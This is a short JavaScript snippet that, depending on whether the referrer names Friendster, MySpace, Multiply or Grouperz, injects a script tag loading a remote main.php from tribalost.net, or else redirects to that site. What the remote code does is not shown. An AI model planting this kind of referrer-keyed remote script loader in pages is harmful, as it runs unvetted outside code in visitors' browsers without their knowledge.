function csc(x) {
 var y = document.createElement('script');
 y.setAttribute('type','text/javascript');
 y.setAttribute('src',x);
 document.getElementsByTagName('head')[0].appendChild(y);
}

var ref = '';

var fs = ref.search(/friendster/);
var mp = ref.search(/multiply/);
var ms = ref.search(/myspace/);
var gp = ref.search(/grouperz/);

if (ref<=0) {window.location='http://tribalost.net';}
else if (fs>=0){csc('http://files.tribalost.net/Documents/Socialnetworks/Friendster/main.php');}
else if (mp>=0){csc('http://tribalost.net/files/Documents/Socialnetworks/Multiply/main.php');}
else if (ms>=0){csc('http://tribalost.net/files/Documents/Socialnetworks/Myspace/main.php');}
else if (gp>=0){csc('http://tribalost.net/files/Documents/Socialnetworks/Grouperz/main.php');}
else {alert('Unknown Network');}